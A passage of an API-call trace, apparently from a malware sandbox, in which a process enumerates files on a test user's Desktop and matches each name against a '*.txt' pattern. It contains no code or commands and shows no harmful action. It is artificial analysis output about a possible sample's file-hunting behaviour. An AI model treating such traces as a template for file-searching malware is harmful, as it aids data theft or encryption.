lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.298] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aab0 [0146.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aab0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.298] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.298] PathMatchSpecW (pszFile="op27XFjVBcQnQEISZr.avi", pszSpec="*.txt") returned 0 [0146.298] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba348 | out: hHeap=0x2360000) returned 1 [0146.298] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8349a1a0, ftCreationTime.dwHighDateTime=0x1d7a969, ftLastAccessTime.dwLowDateTime=0x6dabcf00, ftLastAccessTime.dwHighDateTime=0x1d7aa2f, ftLastWriteTime.dwLowDateTime=0x6dabcf00, ftLastWriteTime.dwHighDateTime=0x1d7aa2f, nFileSizeHigh=0x0, nFileSizeLow=0xe510, dwReserved0=0x0, dwReserved1=0x0, cFileName="rJjrMg.mp4", cAlternateFileName="")) returned 1 [0146.298] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.298] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.298] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="rJjrMg.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4" [0146.298] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.298] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.298] lstrcatW (in: lpString1="\\", lpString2="rJjrMg.mp4" | out: lpString1="\\rJjrMg.mp4") returned="\\rJjrMg.mp4" [0146.298] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.299] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2a) returned 0x2360550 [0146.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x2360550, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", lpUsedDefaultChar=0x0) returned 42 [0146.299] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.299] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.299] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.299] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac48 [0146.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ac48, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.299] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac48 | out: hHeap=0x2360000) returned 1 [0146.299] PathMatchSpecW (pszFile="rJjrMg.mp4", pszSpec="*.txt") returned 0 [0146.299] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.299] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9f81e0, ftCreationTime.dwHighDateTime=0x1d7b01a, ftLastAccessTime.dwLowDateTime=0xe2e256d0, ftLastAccessTime.dwHighDateTime=0x1d7b052, ftLastWriteTime.dwLowDateTime=0xe2e256d0, ftLastWriteTime.dwHighDateTime=0x1d7b052, nFileSizeHigh=0x0, nFileSizeLow=0x10905, dwReserved0=0x0, dwReserved1=0x0, cFileName="rnniEqI3o7y6BUr8.png", cAlternateFileName="RNNIEQ~1.PNG")) returned 1 [0146.299] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.299] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.299] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="rnniEqI3o7y6BUr8.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png" [0146.299] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.299] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.299] lstrcatW (in: lpString1="\\", lpString2="rnniEqI3o7y6BUr8.png" | out: lpString1="\\rnniEqI3o7y6BUr8.png") returned="\\rnniEqI3o7y6BUr8.png" [0146.299] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.299] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x2360560 [0146.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x2360560, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", lpUsedDefaultChar=0x0) returned 52 [0146.300] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba858 [0146.300] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.300] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.300] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aab0 [0146.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aab0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.300] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.300] PathMatchSpecW (pszFile="rnniEqI3o7y6BUr8.png", pszSpec="*.txt") returned 0 [0146.300] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba858 | out: hHeap=0x2360000) returned 1 [0146.300] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23572ef0, ftCreationTime.dwHighDateTime=0x1d7abdc, ftLastAccessTime.dwLowDateTime=0x6e647650, ftLastAccessTime.dwHighDateTime=0x1d7adc1, ftLastWriteTime.dwLowDateTime=0x6e647650, ftLastWriteTime.dwHighDateTime=0x1d7adc1, nFileSizeHigh=0x0, nFileSizeLow=0x112b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="sAj8v.m4a", cAlternateFileName="")) returned 1 [0146.300] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.300] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.300] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="sAj8v.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a" [0146.300] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.300] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.300] lstrcatW (in: lpString1="\\", lpString2="sAj8v.m4a" | out: lpString1="\\sAj8v.m4a") returned="\\sAj8v.m4a" [0146.300] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.300] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x29) returned 0x2360550 [0146.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x2360550, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", lpUsedDefaultChar=0x0) returned 41 [0146.301] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.301] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.301] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.301] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aaf8 [0146.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aaf8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.301] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aaf8 | out: hHeap=0x2360000) returned 1 [0146.301] PathMatchSpecW (pszFile="sAj8v.m4a", pszSpec="*.txt") returned 0 [0146.301] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.301] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f825a10, ftCreationTime.dwHighDateTime=0x1d7aff1, ftLastAccessTime.dwLowDateTime=0x1dc2ee0, ftLastAccessTime.dwHighDateTime=0x1d7b048, ftLastWriteTime.dwLowDateTime=0x1dc2ee0, ftLastWriteTime.dwHighDateTime=0x1d7b048, nFileSizeHigh=0x0, nFileSizeLow=0x40dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SfNWHleaQqk8JGe.pptx", cAlternateFileName="SFNWHL~1.PPT")) returned 1 [0146.301] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.301] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.301] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="SfNWHleaQqk8JGe.pptx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx" [0146.301] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.301] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.301] lstrcatW (in: lpString1="\\", lpString2="SfNWHleaQqk8JGe.pptx" | out: lpString1="\\SfNWHleaQqk8JGe.pptx") returned="\\SfNWHleaQqk8JGe.pptx" [0146.301] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.301] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x2360560 [0146.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x2360560, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", lpUsedDefaultChar=0x0) returned 52 [0146.301] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba198 [0146.302] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.302] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.302] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aab0 [0146.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aab0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.302] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.302] PathMatchSpecW (pszFile="SfNWHleaQqk8JGe.pptx", pszSpec="*.txt") returned 0 [0146.302] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0146.302] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1580ca0, ftCreationTime.dwHighDateTime=0x1d7ac89, ftLastAccessTime.dwLowDateTime=0x781c1810, ftLastAccessTime.dwHighDateTime=0x1d7b023, ftLastWriteTime.dwLowDateTime=0x781c1810, ftLastWriteTime.dwHighDateTime=0x1d7b023, nFileSizeHigh=0x0, nFileSizeLow=0xee0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEh8BocqrBfZC.swf", cAlternateFileName="UEH8BO~1.SWF")) returned 1 [0146.302] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.302] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.302] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="UEh8BocqrBfZC.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf" [0146.302] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.302] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.302] lstrcatW (in: lpString1="\\", lpString2="UEh8BocqrBfZC.swf" | out: lpString1="\\UEh8BocqrBfZC.swf") returned="\\UEh8BocqrBfZC.swf" [0146.302] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0146.303] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x31) returned 0x2360560 [0146.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x2360560, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", lpUsedDefaultChar=0x0) returned 49 [0146.303] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba858 [0146.303] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.303] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.303] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abb8 [0146.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.303] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0146.303] PathMatchSpecW (pszFile="UEh8BocqrBfZC.swf", pszSpec="*.txt") returned 0 [0146.303] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba858 | out: hHeap=0x2360000) returned 1 [0146.303] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb54460, ftCreationTime.dwHighDateTime=0x1d7a09c, ftLastAccessTime.dwLowDateTime=0x4490ee30, ftLastAccessTime.dwHighDateTime=0x1d7a79a, ftLastWriteTime.dwLowDateTime=0x4490ee30, ftLastWriteTime.dwHighDateTime=0x1d7a79a, nFileSizeHigh=0x0, nFileSizeLow=0x24d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="uf7A4eOeh4J7.ppt", cAlternateFileName="UF7A4E~1.PPT")) returned 1 [0146.303] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.303] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.303] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="uf7A4eOeh4J7.ppt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt" [0146.303] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.303] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.303] lstrcatW (in: lpString1="\\", lpString2="uf7A4eOeh4J7.ppt" | out: lpString1="\\uf7A4eOeh4J7.ppt") returned="\\uf7A4eOeh4J7.ppt" [0146.303] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0146.303] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360550 [0146.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x2360550, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", lpUsedDefaultChar=0x0) returned 48 [0146.304] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.304] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.304] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.304] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aba0 [0146.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aba0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.304] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aba0 | out: hHeap=0x2360000) returned 1 [0146.304] PathMatchSpecW (pszFile="uf7A4eOeh4J7.ppt", pszSpec="*.txt") returned 0 [0146.304] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.304] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cd6b1c0, ftCreationTime.dwHighDateTime=0x1d7afe1, ftLastAccessTime.dwLowDateTime=0x4c5cef40, ftLastAccessTime.dwHighDateTime=0x1d7b020, ftLastWriteTime.dwLowDateTime=0x4c5cef40, ftLastWriteTime.dwHighDateTime=0x1d7b020, nFileSizeHigh=0x0, nFileSizeLow=0x3d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="vL0v.flv", cAlternateFileName="")) returned 1 [0146.304] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.304] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.304] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="vL0v.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv" [0146.304] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.304] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.304] lstrcatW (in: lpString1="\\", lpString2="vL0v.flv" | out: lpString1="\\vL0v.flv") returned="\\vL0v.flv" [0146.304] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e60 [0146.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.305] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x28) returned 0x2363288 [0146.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x2363288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", lpUsedDefaultChar=0x0) returned 40 [0146.305] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.305] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2363288 | out: hHeap=0x2360000) returned 1 [0146.305] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e60 | out: hHeap=0x2360000) returned 1 [0146.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.305] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab58 [0146.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab58, 